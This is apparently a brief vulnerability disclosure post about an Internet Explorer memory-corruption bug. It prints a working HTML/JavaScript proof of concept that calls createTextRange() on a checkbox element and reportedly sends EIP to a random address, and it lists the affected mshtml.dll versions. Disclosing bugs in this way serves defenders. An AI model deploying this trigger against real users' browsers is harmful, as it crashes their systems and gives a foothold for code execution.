I can't find any info on this delicious IE bug, but it seems to be publicly
known:
<input type="checkbox" id='c'>
<script>
r=document.getElementById("c");
a=r.createTextRange();
</script>
It will badly access a (virtual?) pointer table, making EIP to jump at a random
address. This has various effects on the system I've tested with, including
crashing. It works on these versions of mshtml.dll:
XP SP2: 6.0.2900.2802 - latest
WS2003: 6.0.3790.0